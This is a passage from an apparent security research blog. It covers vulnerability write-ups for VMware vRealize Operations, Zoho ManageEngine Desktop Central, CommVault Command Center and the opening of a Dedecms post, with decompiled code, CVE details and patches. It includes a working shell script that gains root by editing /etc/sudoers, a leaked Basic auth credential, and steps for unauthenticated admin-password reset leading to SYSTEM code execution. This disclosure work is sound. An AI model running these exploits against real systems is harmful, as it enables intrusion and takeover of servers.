                    lduId = this.request.getParameter("instanceId");
                    instanceId = this.request.getParameter("fileName"); // 2
                    boolean allowedFileName = WebUtils.isAllowedFileName(instanceId); // 3
                    if (!allowedFileName) {
                        this.writeJsonOutput("{status: 'can not complete request, invalid file type or pattern'}");
                        return null;
                    } else {
                        lduId = this.request.getParameter("lduId");
                        logTypeStr = this.request.getParameter("logType");
                        LogType logType = LogType.fromString(logTypeStr);
                        linePosition = this.request.getParameter("linePosition").isEmpty() ? -1 : Integer.parseInt(this.request.getParameter("linePosition"));
                        int lineLimit = this.request.getParameter("lineLimit").isEmpty() ? 1000 : Integer.parseInt(this.request.getParameter("lineLimit"));
                        if (!lduId.isEmpty() && !instanceId.isEmpty() && !lduId.isEmpty() && logType != null && lineLimit >= 0) {
                            ResultDto<LogFileContentsDTO> fileContent = this.dataRetriever.getSupportLogFileContents(lduId, logType, lduId, instanceId, linePosition, lineLimit); // 4
                            // ...
                        } else {
                            this.writeJsonOutput("{status: 'can not request, missing some params'}");
                            return null;
                        }
                    }
                }

At [1] the code checks for the mainAction parameter to be the value of getLogFileContents. Then at [2] the code gets the fileName parameter and at [3] the code calls isAllowedFileName on it. This was the giveaway for me:

    public static Boolean isAllowedFileName(String fileName) {
        if (!fileName.matches(".*\\.(?i)(log|txt|out|current)(\\.\\d+)?$")) {
            return false;
        } else {
            String nonEncodedFileName = fileName.replaceAll("(?i)(%2e|%252e)", ".");
            nonEncodedFileName = nonEncodedFileName.replaceAll("(?i)(%2f|%252f|%5c|%255c|\\\\)", "/");
            return nonEncodedFileName.contains("../") ? false : true;
        }
    }

Essentially the code is looking for any log file in /storage/log/vcops/log/ directory.

Exploitation

The issue comes down to the Pak manager writing sensitive passwords into log files:

root@photon-machine [ /storage/log/vcops/log/pakManager ]# grep -lir "bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ="
APUAT-86018696447/apply_system_update_stderr.log
APUAT-85018176777/apply_system_update_stderr.log
vcopsPakManager.root.post_apply_system_update.log.1

For example, in APUAT-86018696447/apply_system_update_stderr.log we see:

DEBUG - Calling GET: /casa/security/ping, headers: {'Content-Type': 'application/json', 'Accept': 'application/json', 'X-vRealizeOps-API-use-unsupported': 'true', 'Authorization': 'Basic bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ='}

This occurs when a legitimate Pak file is uploaded, and an install is triggered. At first it appears that the vulnerability is within the Pak manager for logging such sensitive data, but the real vulnerability is in the exposure to a lower privileged user. VMWare removed the Pak manager interface from the /ui/ and tried to implement a little security by obscurity!

Using this vulnerability, I was able to leak the maintenanceAdmin user and trigger a password reset for the admin user because it’s the user that can login from remote via SSH:

root@photon-machine [ ~ ]$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1003::/home/admin:/bin/bash
postgres:x:1001:100::/var/vmware/vpostgres/11:/bin/bash

At first when I checked, I thought I had enough privileges as root at this point, but it turns out I didn’t.

admin@photon-machine [ ~ ]$ id
uid=1000(admin) gid=1003(admin) groups=1003(admin),0(root),25(apache),28(wheel)
admin@photon-machine [ ~ ]$ head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied

Which means, more bug hunting and chaining!

generateSupportBundle VCOPS_BASE Privilege Escalation (CVE-2022-31672)

  • CVSS: 7.2 (/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
  • Advisory: SRC-2022-0020

Inside of the /etc/sudoers file we find the following entry:

admin ALL = NOPASSWD: /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py *

This allows low privileged users to run the script as root using sudo. Inside of the generateSupportBundle.py file we find:

try:
    VCOPS_BASE = os.environ['VCOPS_BASE'] # 1
except KeyError as ex:
    # In cloudvm, this could happen - for example, if caller like cis
    # has not called the /etc/profile.d/vcops.sh.
    filePath = os.path.dirname(os.path.realpath( __file__ ))
    # Since this file is located at $VCOPS_BASE/tools, we can use relative path
    VCOPS_BASE =  os.path.abspath(filePath + "/..")
VCOPS_BASE=VCOPS_BASE.replace('\\', '/')
commonLib = VCOPS_BASE + '/install/'
sys.path.append(commonLib)

The code heavily depends on the VCOPS_BASE environment variable at [1]. When running the script, the following code is executed:

ds = []
if options.get("action") is None:
    options["action"] = 'create'
#...
if options.get("action") == 'create':
    runGssTroubleShootingScript() # 2

The runGssTroubleShootingScript method is called if action is not supplied at [2].

def runGssTroubleShootingScript():
    gss_troubleshooting_script_path = os.path.join(find_vcops_base_path(), "..", "vmware-vcopssuite", "utilities", "bin") # 3

    try:
        output = subprocess.Popen("{0}/gss_troubleshooting.sh".format(gss_troubleshooting_script_path))
    except subprocess.CalledProcessError as e:
        print ('Failed to run gss troubleshooting script, error code {0}:'.format(e.returncode))

At [3], that method attempts to call an executable script as root and uses find_vcops_base_path to get the path location of the script:

def find_vcops_base_path():
    """Finds the VCOPS_BASE environment variable.
    @return: the VCOPS_BASE path or an exception if it cannot be found.
    """
    if 'VCOPS_BASE' in os.environ:
        vcops_base_path = os.environ['VCOPS_BASE'] # 4
    elif 'ALIVE_BASE' in os.environ:
        vcops_base_path = os.environ['ALIVE_BASE']
   # ...
   return vcops_base_path # 5

At [4] and [5] if the VCOPS_BASE environment variable is set, it will return that.

Exploitation

All an attacker needs to do is setup the environment variable before calling the script to elevate privileges.

#!/bin/sh
mkdir -p poc
mkdir -p vmware-vcopssuite/utilities/bin/
cat <<EOT > vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
#!/bin/sh
echo "admin ALL = NOPASSWD: ALL" >> /etc/sudoers
EOT
chmod 755 vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
sudo VCOPS_BASE=poc /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py test > /dev/null 2>&1
sudo rm -rf poc
sudo rm -rf vmware-vcopssuite
sudo sh
sudo sed -i '$ d' /etc/sudoers

Proof of Concept

The exploit is called DashOverride and you can download it here.

Gaining pre-authenticated remote code execution as root!


Conclusion

Each of the CVSS scores for the 3 vulnerabilities are rated moderate/high and when considered on their own, they are quite weak. But chained together their impact is significant and depending on your threat model, the authentication bypass scenario could pose a real threat if dashboard links are shared around within your organization or exposed on the perimeter.

Some of you may ask, well did you get a bounty for any of this? In which the short answer is… No.

References

ZohOwned :: A Critical Authentication Bypass on Zoho ManageEngine Desktop Central

20 January 2022 at 14:00

Desktop Central

On December 3, 2021, Zoho released a security advisory under CVE-2021-44515 for an authentication bypass in its ManageEngine Desktop Central and Desktop Central MSP products. On December 17, 2021, the FBI published a flash alert, including technical details and indicators of compromise (IOCs) used by threat actors. Shortly after, William Vu published an Attackerkb entry after doing some static analysis. Meanwhile during the whole of December, I was on holidays!

Why did this matter? Well, as it turns out I was sitting on a few bugs I had found in Desktop Central when I audited it back in December 2019. One of them, being an authentication bypass and after reading the FBI report I quickly relized we were dealing with the same zeroday!

At the time, I could only exploit the bug to trigger a directory traversal and write a zip file onto the target system (the same bug that was used in the wild). Since I didn’t have any vector for exploitation and I already had CVE-2020-10189 handy, I decided to leave it alone and include it as part of my Full Stack Web Attack training within module-5 (A zero-day hunt in ManageEngine Desktop Central). I even hinted to a partial authentication bypass to some students! ;->

So after coming back from holidays, I decided to give the bug some justice and understand/improve on the attack that the threat actors pulled off. First though, what is it we are dealing with here?

StateFilter Arbitrary Forward Authentication Bypass Vulnerability

Inside of the web.xml file we find the following entry:

<filter>
  <filter-name>StateFilter</filter-name>
  <filter-class>com.adventnet.client.view.web.StateFilter</filter-class>
</filter>

<filter-mapping>
  <filter-name>StateFilter</filter-name>
  <url-pattern>/STATE_ID/*</url-pattern>
</filter-mapping>

Filters are triggered pre-authenticated and often used to validate clientside data such as csrf tokens, sessions, etc. Let’s check the doFilter method:

/*     */   public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
/*     */     try {
/*  41 */       Long startTime = new Long(System.currentTimeMillis());
/*  42 */       request.setAttribute("TIME_TO_LOAD_START_TIME", startTime);
/*  43 */       logger.log(Level.FINEST, "doFilter called for {0} ", ((HttpServletRequest)request).getRequestURI());
/*  44 */       StateParserGenerator.processState((HttpServletRequest)request, (HttpServletResponse)response); // 1
/*  45 */       String forwardPath = ((HttpServletRequest)request).getRequestURI();
/*  46 */       if (!WebClientUtil.isRestful((HttpServletRequest)request) || forwardPath.indexOf("STATE_ID") != -1) { // 8 
/*     */         
/*  48 */         String path = getForwardPath((HttpServletRequest)request); // 9
/*  49 */         RequestDispatcher rd = request.getRequestDispatcher(path); // 10
/*  50 */         rd.forward(request, response); // 11
/*     */       }
/*     */       //...

At [1] the code calls stateParserGenerator.processState with the attacker controlled request:

/*     */   public static void processState(HttpServletRequest request, HttpServletResponse response) throws Exception {
/* 288 */     if (StateAPI.prevStateDataRef.get() != null) {
/*     */       return;
/*     */     }
/*     */     
/* 292 */     Cookie[] cookiesList = request.getCookies();
/* 293 */     if (cookiesList == null)
/*     */     {
/* 295 */       throw new ClientException(2, null);
/*     */     }
/*     */ 
/*     */     
/* 299 */     TreeSet set = new TreeSet(new StateUtils.CookieComparator()); // 2
/* 300 */     String contextPath = request.getContextPath();
/* 301 */     contextPath = (contextPath == null || contextPath.trim().length() == 0) ? "/" : contextPath;
/*     */     
/* 303 */     String sessionIdName = request.getServletContext().getSessionCookieConfig().getName();
/* 304 */     sessionIdName = (sessionIdName != null) ? sessionIdName : "JSESSIONID";
/*     */     
/* 306 */     for (int i = 0; i < cookiesList.length; i++) {
/*     */       //...
/* 316 */       String cookieName = cookie.getName();
/*     */       //...    
/* 334 */       if (cookieName.startsWith("_")) {
/*     */         
/* 336 */         cookiesList[i].setPath(contextPath);
/* 337 */         response.addCookie(cookiesList[i]);
/*     */       }
/* 339 */       else if (cookieName.startsWith("STATE_COOKIE")) {
/*     */         
/* 341 */         set.add(cookiesList[i]); // 3
/*     */       }
/*     */     //...
/* 369 */     if (set.size() == 0) { // 4
/*     */       
/* 371 */       request.setAttribute("STATE_MAP", NULLOBJ);
/* 372 */       if (!WebClientUtil.isRestful(request))
/*     */       {
/* 374 */         throw new ClientException(2, null);
/*     */       }
/*     */       return;
/*     */     }
/* 378 */     Iterator iterator = set.iterator();
/* 379 */     StringBuffer cookieValue = new StringBuffer();
/* 380 */     while (iterator.hasNext()) {
/* 381 */       Cookie currentCookie = (Cookie)iterator.next();
/* 382 */       String value = currentCookie.getValue();
/* 383 */       cookieValue.append(value);
/*     */     } 
/* 385 */     request.setAttribute("PREVCLIENTSTATE", cookieValue.toString());
/* 386 */     Map state = parseState(cookieValue.toString()); // 5
/*     */     //...
/* 388 */     Iterator ite = state.keySet().iterator();
/* 389 */     while (ite.hasNext()) {
/*     */       
/* 391 */       String uniqueId = (String)ite.next();
/* 392 */       Map viewMap = (Map)state.get(uniqueId);
/* 393 */       refIdVsId.put(viewMap.get("ID") + "", uniqueId);
/*     */     } 
/* 395 */     StateAPI.prevStateDataRef.set((state != null) ? state : NULLOBJ);
/* 396 */     if (state != null) {
/*     */       
/* 398 */       if (!WebClientUtil.isRestful(request)) {
/*     */         
/* 400 */         long urlTime = getTimeFromUrl(request.getRequestURI());
/* 401 */         long reqTime = Long.parseLong((String)StateAPI.getRequestState("_TIME")); // 6
/* 402 */         ((Map)state.get("_REQS")).put("_ISBROWSERREFRESH", String.valueOf((urlTime != reqTime && !StateAPI.isSubRequest(request)))); // 7
/*     */       }

In order to survive StateParserGenerator.processState, the attacker will need to populate the TreeSet at [2] with a STATE_COOKIE at [3] so that they don’t crash and burn at [4]. Also, the attacker needs to use StateParserGenerator.processState method at [5] to craft a special state map containing values to survive [6] and [7]. There is no way to return null from StateParserGenerator.parseState, I already thought of that!

Once the attacker can proceed past StateParserGenerator.processState, they can set forwardPath at [8] with the provided URI and subsequently set path at [9]

/*     */   private String getForwardPath(HttpServletRequest request) {
/*  88 */     String path = request.getContextPath() + "/STATE_ID/";
/*  89 */     String forwardPath = request.getRequestURI();
/*  90 */     if (!forwardPath.startsWith(path))
/*     */     {
/*  92 */       return forwardPath;
/*     */     }
/*  94 */     int index = forwardPath.indexOf('/', path.length());
/*  95 */     if (WebClientUtil.isRestful(request)) {
/*     */       
/*  97 */       forwardPath = forwardPath.substring(path.length() - 1);
/*     */ 
/*     */     
/*     */     }
/* 101 */     else if (index > 0) {
/*     */       
/* 103 */       forwardPath = forwardPath.substring(index);
/*     */     } 
/*     */ 
/*     */     
/* 107 */     return forwardPath;
/*     */   }

Now, the code at [10] and [11] of the StateFilter.doFilter method forwards the incoming request and bypasses any further filters or interceptors within the filter chain. The fact that the forward happens inside of a filter is very powerful, it means that any HTTP verb can be used to reach dangerous API.

AgentLogUploadServlet Directory Traversal Remote Code Execution Vulnerability

This particular bug was patched in earlier versions before the StateFilter arbitrary forward was patched. As always, we start in the web.xml file:

<servlet>
  <servlet-name>AgentLogUploadServlet</servlet-name>
  <servlet-class>com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>AgentLogUploadServlet</servlet-name>
  <url-pattern>/agentLogUploader</url-pattern>
</servlet-mapping>

As the threat actors discovered, it was possible to reach this servlet using the StateFilter arbitrary forward:

/*     */   public void doPost(HttpServletRequest request, HttpServletResponse response) {
/*  35 */     reader = null;
/*  36 */     PrintWriter printWriter = null;
/*     */     try {
/*  38 */       computerName = request.getParameter("computerName"); // 1
/*  39 */       String domName = request.getParameter("domainName");
/*  40 */       String customerIdStr = request.getParameter("customerId");
/*  41 */       String resourceidStr = request.getParameter("resourceid");
/*  42 */       String logType = request.getParameter("logType");
/*  43 */       String fileName = request.getParameter("filename"); // 2
/*     */       //... 
/*  66 */       if (managedResourceID != null || branchId != null) {
/*     */         //... 
/*  73 */         String localDirToStore = baseDir + File.separator + wanDir + File.separator + customerIdStr + File.separator + domName + File.separator + computerName; // 3  
/*     */         //... 
/*  84 */         fileName = fileName.toLowerCase();
/*     */         
/*  86 */         if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "zip|7z|gz")) { // 4
/*  87 */           this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0}", fileName);
/*  88 */           response.sendError(403, "Request Refused");
/*     */           
/*     */           return;
/*     */         } 
/*  92 */         String absoluteFileName = localDirToStore + File.separator + fileName; // 5
/*     */         
/*  94 */         this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[] { fileName });
/*     */ 
/*     */         
/*  97 */         in = null;
/*  98 */         fout = null;
/*     */         try {
/* 100 */           in = request.getInputStream();
/* 101 */           fout = new FileOutputStream(absoluteFileName);
/*     */           
/* 103 */           byte[] bytes = new byte[10000]; int i;
/* 104 */           while ((i = in.read(bytes)) != -1) {
/* 105 */             fout.write(bytes, 0, i); // 6
/*     */           }
/* 107 */           fout.flush();
/* 108 */         } catch (Exception e1) {
/* 109 */           e1.printStackTrace();
/*     */         } finally {
/* 111 */           if (fout != null) {
/* 112 */             fout.close();
/*     */           }
/* 114 */           if (in != null) {
/* 115 */             in.close();
/*     */           }
/*     */         } 

At [1] and [2] the code gets the computerName and filename parameters from the incoming request and then at [3] the code builds a path using the controlled computerName. Then at [4] the code calls FileUploadUtil.hasVulnerabilityInFileName using zip|7z|gz as a filter:

/*     */   public static boolean hasVulnerabilityInFileName(String fileName, String allowedFileExt) {
/* 227 */     if (isContainDirectoryTraversal(fileName) || isCompletePath(fileName) || !isValidFileExtension(fileName, allowedFileExt)) {
/* 228 */       return true;
/*     */     }
/* 230 */     return false;
/*     */   }

The code checks that the file extension is either zip, 7z or gz with a check for a traversal but there is no check for a traversal in the localDirToStore at [5] which is later used for a controlled write at [6].

Patches

Zoho patched the arbitrary forward by adding the URI pattern to a secured context, meaning that authentication is required which was verified on version 10.1.2137.3

<security-constraint>
 <web-resource-collection>
     <web-resource-name>Secured Core Context</web-resource-name>
     ...
+     <url-pattern>/STATE_ID/*</url-pattern>
 </web-resource-collection>

Zoho also patched the directory traversal in AgentLogUploadServlet somewhere between May - November 2021. The additional check in the doPost protecting computerName which was verified on version 10.1.2137.2:

/*  67 */       if ((domName != null && FileUploadUtil.hasVulnerabilityInFileName(domName)) || (computerName != null && FileUploadUtil.hasVulnerabilityInFileName(computerName)) || (customerIdStr != null && FileUploadUtil.hasVulnerabilityInFileName(customerIdStr)) || (branchId != null && FileUploadUtil.hasVulnerabilityInFileName(branchId)) || 
/*  68 */         !SoMUtil.getInstance().isValidDomainName(domName) || !SoMUtil.getInstance().isValidComputerName(computerName) || !branchId.matches(regex) || !resourceidStr.matches(regex) || !customerIdStr.matches(regex)) {
/*     */         
/*  70 */         this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0} for  computer  {1}  under domain {2} and branch office {4} of customer id {3} ", new Object[] { fileName, computerName, domName, customerIdStr, branchId });
/*  71 */         response.sendError(403, "Request Refused");
/*     */         
/*     */         return;
/*     */       }

Exploitation

At the time of discovery, I couldn’t leverage this bug and after reading the FBI report, it becomes evident that the threat actors wrote a zip file into the C:\Program Files\DesktopCentral_Server\lib directory and either waited for the server to restart or forced a restart.

Loading a zip from the lib directory

In fact, it can be any extension and it clearly not mentioned in the Tomcat documentation! This inturn loaded a malicious jar file (hidden as a zip file) which overwrote core classes. When those classes were loaded from the server/process upon a restart, then their code would execute.

The threat actors also used the /fos/statuscheck endpoint which safety returned the string OK if the server was up.

Checking the status of the server

/*    */   private void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*    */     try {
/* 33 */       String slaveId = ServletUtil.Param.optionalValue(request, "slaveId");
/* 34 */       if (MonitorPool.isEnabled())
/*    */       {
/* 36 */         if (slaveId != null)
/*    */         {
/* 38 */           MonitorPool.getInst().getOrCreate(slaveId).updateLastAccessTime();
/*    */         }
/*    */       }
/* 41 */       ServletUtil.Write.text(response, "ok");
/*    */     }
/*    */   //...
/*    */   }
/*    */ }

With that, I decided to look into the code to find locations to where the process and/or server could be restarted with an API that was reachable from the StateFilter arbitrary forward but I was unsuccessful in this attempt.

Attack chain limitations

There are 4 main limitations with the attack chain used by the threat actors:

  1. The StateFilter arbitrary forward is only a partial authentication bypass. It’s possible to reach the servlet endpoints, but not possible to reach any of the REST api or struts ActionForward classes. This is a significate weakness in the attack.

  2. The AgentLogUploadServlet directory traversal only gave an attacker the ability to write a 7z, zip, or gz file.

  3. The AgentLogUploadServlet directory traversal was patched in an earlier version than the StateFilter arbitrary forward, meaning there are versions where the chain was broken

  4. The attack chain required the server to be restarted which, AFAIK was not possible to be directly controlled by the threat actor.

Bypassing all limitations

I finally managed to find a better way to (ab)use the StateFilter arbitrary forward by reaching the ChangeAmazonPasswordServlet. At first I ignored this servlet because I thought, what’s the point of changing an Amazon password anyway.

/*    */ public class ChangeAmazonPasswordServlet
/*    */   extends HttpServlet
/*    */ {
/* 23 */   private Logger logger = Logger.getLogger(ChangeAmazonPasswordServlet.class.getName());
/*    */ 
/*    */ 
/*    */   
/*    */   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/* 28 */     String loginName = request.getParameter("loginName");
/*    */     
/*    */     try {
/* 31 */       String productCode = ProductUrlLoader.getInstance().getValue("productcode");
/*    */       
/* 33 */       String newUserPassword = request.getParameter("newUserPassword");
/*    */       
/* 35 */       SYMClientUtil.changeDefaultAwsPassword(loginName, newUserPassword); // 1

At [1] the code calls SYMClientUtil.changeDefaultAwsPassword using the attacker supplied loginName and newUserPassword:

/*     */   public static void changeDefaultAwsPassword(String loginName, String newPasswd) throws Exception {
/*     */     try {
/* 139 */       String serviceName = getServiceName(loginName);
/*     */       
/* 141 */       DMUserHandler.addOrUpdateAPIKeyForLoginId(DMUserHandler.getLoginIdForUser(loginName));
/*     */       
/* 143 */       AuthUtil.changePassword(loginName, serviceName, newPasswd); // 2
/* 144 */       SyMUtil.updateSyMParameter("IS_PASSWORD_CHANGED", "true");
/* 145 */       SyMUtil.updateServerParameter("IS_AMAZON_DEFAULT_PASSWORD_CHANGED", "true");
/*     */     }

When I saw [2] I got very suspicious because I saw AuthUtil.changePassword. When I was auditing previously, I remember seeing that function used for other password reset functionality so I decided to do a quick xref on it:

Other functions that call changePassword

Could this code change the admin password from an unauthenticated context? Yes!

Changing the admin password unauthenticated

Now that we have changed the password we can login and access any agents within Desktop Central to gain remote code execution against them:

Accessing agents that are connected to Desktop Central

Popping a SYSTEM shell over the web interface

This exploit chain impacts all versions up to 10.1.2137.2. It’s still possible to reset the admin password and/or trigger the StateFilter arbitrary forward using a guest account in the latest version at the time of writing. I have a habit of not reporting vulnerabilities to Zoho, oh no!

UPDATE: Zoho has released a fix for this issue and assigned CVE-2022-23863.

Changing the admin password as a guest user on the latest version (10.1.2138.1)

The only limitation to this attack is that changing the administrators password is pretty overt, and will likley reveal that a compromise took place.

Conclusion

Threat actors, up your game! If you are stuck on a bug, come back to it with a fresh mind even if its been years. As a professional engineer, you develop your skillset slowly and sometimes it’s important to check code that doesn’t seem relevant.

This is not the first time I have written about arbitrary forward vulnerabilities that lead to authentication bypass and it’s likley that threat actors are reading this very blog. A big thanks goes to William Vu for listening to me live debug this application and allowing me to ask him many questions along the way.

References

Unlocking the Vault :: Unauthenticated Remote Code Execution against CommVault Command Center

22 November 2021 at 14:00

When Justin Kennedy and Brandon Perry asked me if I was interested in performing a little audit together, I couldn’t resist. Although time was limited, I decided to jump on board because true hacking collaboration is a rare commoditity these days.

We decided to target the CommVault Command Center Interface and to quote CommVault:

The Command Center is a web-based user interface for administration tasks that provides default configuration values and streamlined procedures for routine data protection and recovery tasks. You can use the Command Center to set up your data protection environment, to identify content that you want to protect, and to initiate and monitor backups and restores.

This is an interesting target because:

  1. It’s a product that incorporates several components (CommCell Console, Command Center, Web Console, CommServe Server, etc).
  2. There was a serious lack of decent vulnerabilities in CommVault. The only recent bug I could dig up was CVE-2020-25780 which was a post authenticated directory traversal with a disclosure impact and no proof of concept.
  3. There is a mix of technologies from C# to Java which made it quite attractive to audit.

After some time, we managed to chain 3 bugs (disclosed as two bugs - ZDI-21-1328 and ZDI-21-1331) to achieve unauthenticated remote code execution as SYSTEM against a target CommVault node.

CVAuthHttpModule OnEnter Partial Authentication Bypass

Inside of the CVInfoMgmtService.dll file the CVAuthHttpModule.OnEnter method is the authentication check for the CVSearchService web service:

private void OnEnter(object sender, EventArgs e)
{
    bool flag = true;
    this.reject = true;
    string empty = string.Empty;
    bool flag2 = true;
    this._token = "";
    this._sw = Stopwatch.StartNew();
    this._request = "";
    try
    {
        string[] array = CVAuthHttpModule.readHeader();
        string text = array[0]; // 1
        string text2 = array[1];
        string text3 = array[2];
        string text4 = array[3];
        bool flag3 = this.IsRestWebService(); // 2
        ...
        bool flag11 = !string.IsNullOrEmpty(text) && !flag3 && NonSecureOperations.canByPassCheck(text); // 3
        if (flag11)
        {
            flag = false;
            this.reject = false;
        ...

At [1] the text is coming from the cookie header and at [2] the code checks that the request is for the CVSearchService.svc service then we can see the NonSecureOperations.canByPassCheck at [3].

public static bool canByPassCheck(string messageName)
{
    string item = dmConf.encodePass(messageName); // 4
    return NonSecureOperations.list.Contains(item); // 5
}

The dmConf.encodePass call at [4]:

// DM2WebLib.dmConf
// Token: 0x060000E8 RID: 232 RVA: 0x00006C10 File Offset: 0x00004E10
public static string encodePass(string dataTobeEncoded)
{
	string text = string.Empty;
	bool flag = string.IsNullOrEmpty(dataTobeEncoded);
	string result;
	if (flag)
	{
		result = dataTobeEncoded;
	}
	else
	{
		try
		{
			byte[] inArray = new byte[dataTobeEncoded.Length];
			inArray = Encoding.UTF8.GetBytes(dataTobeEncoded);
			text = Convert.ToBase64String(inArray);
		}
		catch (Exception ex)
		{
			throw new Exception(string.Format("Error in base64Encode. Exception Message:[{0}], Data to be decoded:[{1}] ", ex.Message, dataTobeEncoded));
		}
		result = text;
	}
	return result;
}

…and the NonSecureOperations constructor at [5]:

static NonSecureOperations()
{
    NonSecureOperations.list = new ArrayList();
    NonSecureOperations.list.Add("TG9naW4uR2V0TG9nb25MaXN0");
    NonSecureOperations.list.Add("TG9naW4uTG9naW4=");
    NonSecureOperations.list.Add("Q0kuR2V0RE1TZXR0aW5n");
    NonSecureOperations.list.Add("TG9naW4=");
    NonSecureOperations.list.Add("Q0kuR2V0RE1TZXR0aW5ncw==");
    NonSecureOperations.list.Add("UmV0cmlldmVJdGVt");
    NonSecureOperations.list.Add("U2VhcmNoLkdldFBhbmVsQ29sdW1uQ29uZmln");
    NonSecureOperations.list.Add("RGF0YVNlcnZpY2UuUG9wdWxhdGVEYXRh");
    NonSecureOperations.list.Add("Z2V0T2VtSWQ=");
    NonSecureOperations.list.Add("TG9naW4uV2ViQ2xpZW50TG9naW4=");
    NonSecureOperations.list.Add("Z2V0R2xvYmFsUGFyYW0=");
}
  1. Login.GetLogonList
  2. Login.Login
  3. CI.GetDMSetting
  4. Login
  5. CI.GetDMSettings
  6. RetrieveItem
  7. Search.GetPanelColumnConfig
  8. DataService.PopulateData
  9. getOemId
  10. Login.WebClientLogin
  11. getGlobalParam

This just encodes the cookie as base64 and checks it against a list of hardcoded strings. So I just set the first one as Login.GetLogonList which matches on TG9naW4uR2V0TG9nb25MaXN0. Now the this.reject is set to false and we can bypass the auth for this web service!

CVSearchSvc downLoadFile File Disclosure

As it turns out, there is a file disclosure vulnerability in the API for this service. Let’s check the CVSearchSvc class:

public byte[] downLoadFile(string path)
{
    DownLoad downLoad = new DownLoad();
    return downLoad.downLoadFile(path); // 4
}

At [4] the code calls com.commvault.biz.restore.DownLoad.downLoadFile with the attacker controlled path:

public byte[] downLoadFile(string path)
{
    bool flag = string.IsNullOrEmpty(path);
    byte[] result;
    if (flag)
    {
        result = null;
    }
    else
    {
        bool flag2 = !File.Exists(path);
        if (flag2)
        {
            result = null;
        }
        else
        {
            FileInfo fileInfo = new FileInfo(path);
            long length = fileInfo.Length;
            FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read);
            BinaryReader binaryReader = new BinaryReader(fileStream);
            byte[] array = binaryReader.ReadBytes((int)length);
            binaryReader.Close();
            fileStream.Close();
            result = array;
        }
    }
    return result;
}

Which opens the attacker supplied file path for reading and returns the contents of the file. This can be a binary file because the response is base64 encoded and returned to the attacker.

Exploitation

At this point we essentially had an unauthenticated file read vulnerability. How were we going to leverage this for remote code execution or an authentication bypass? It was a limited file read as we could only read files with the permissions of the network service account. Due to this, we couldn’t open files that already had an open file handle in another process. It was grim.

For the better right

A few days later, Brandon came up with a clever exploitation strategy. When he was configuring and testing the email server, he noticed that when he tried to reset the password for the SystemCreatedAdmin account, it would throw an error into the c:/Program Files/Commvault/ContentStore/Log Files/WebServer.log file:

4424  3     05/13 17:00:37 3   ###  - Processing [POST] request : /user/Password/ForgotRequest : Headers :[Content-Type=application/x-www-form-urlencoded][Expect=100-continue][Host=127.0.0.1:81][Content-Length=50][locale=en_US][LookupNames=false][client-location=192.168.1.152][CVRequestRouted=true][MS-ASPNETCORE-TOKEN=cba64f3f-885a-4d1e-bcfe-cbda5c6e5e19][X-Original-Proto=http][trace-id=wse7e5af76c93c][X-Original-For=127.0.0.1:51285] : Parameters : (empty) : AdditionalInfo[ClientIP[192.168.1.152] ConsoleType[Unknown] Operation[CV.WebServer.Controllers.UserController.ForgotPasswordRequest (CVWebControllerClient)] isTokenSupplied?[False] Username[]]
4424  3     05/13 17:00:38 3   ### SetTinyWebConsoleTinyUrl - Error sending reset password email with tinyURL : http://WIN-9BHJU583I26:80/webconsole/gtl.do?gid=sqmyEqVeOftkV
4424  3     05/13 17:00:43 3   ### SendResetPasswordEmail - Reset password email set successfully to: 
4424  3     05/13 17:00:43 3   ### Invoke - POST /user/Password/ForgotRequest : HTTP code 'OK'

This occured because the default god mode user SystemCreatedAdmin didn’t have an email account linked by design and so the developers thought it would be convenient to drop the password reset token into the log file. With our file disclosure vulnerability we could leak this log file and disclose the password reset token (sqmyEqVeOftkV in this case) so that we could reset the SystemCreatedAdmin password and gain access to the Command Center.

Once this was achieved, we found that we could execute workflows with, low and behold, a default workflow that allowed for a command to be executed as SYSTEM!

Unlocking the CommVault

We have released a proof of concept for your defending pleasure.

Conclusion

These aren’t the only issues we discovered, but only the ones we had time to focus on and submit since they were the highest impact. Sure enough, KP Choubey also discovered ZDI-21-1332 when analyzing our bugs.

Chasing a Dream :: Pre-authenticated Remote Code Execution in Dedecms

30 September 2021 at 14:00

In this blog post, I’m going to share a technical review of Dedecms (or “Chasing a Dream” CMS as translated to English) including its attack surface and how it differs from other applications. Finally, I will finish off with a pre-authenticated remote code execution vulnerability impacting the v5.8.1 pre-release. This is an interesting piece of software because it dates back over 14 years since its initial release and PHP has changed a lot over the years.

An online search for “what is the biggest CMS in China” quickly reveals that multiple sources state that Dedecms is the most popular. However, these sources all but have one thing in common: they’re old.

So, I decided to do a crude search:

The product is very widely deployed and but the vulnerability detailed here impacts a small number of sites since it was introduced on the 11th of December 2020 and never made it into a release build.

Threat Modeling

Disclaimer: I have no experience in actual threat modeling. One of the first things I ask myself when auditing targets is: How is input accepted into the application? Well, it turns out the answer to that question for this target is in include/common.inc.php script:

function _RunMagicQuotes(&$svar)
{
    if (!@get_magic_quotes_gpc()) {
        if (is_array($svar)) {
            foreach ($svar as $_k => $_v) {
                $svar[$_k] = _RunMagicQuotes($_v);
            }

        } else {
            if (strlen($svar) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $svar)) {
                exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

//...

if (!defined('DEDEREQUEST')) {
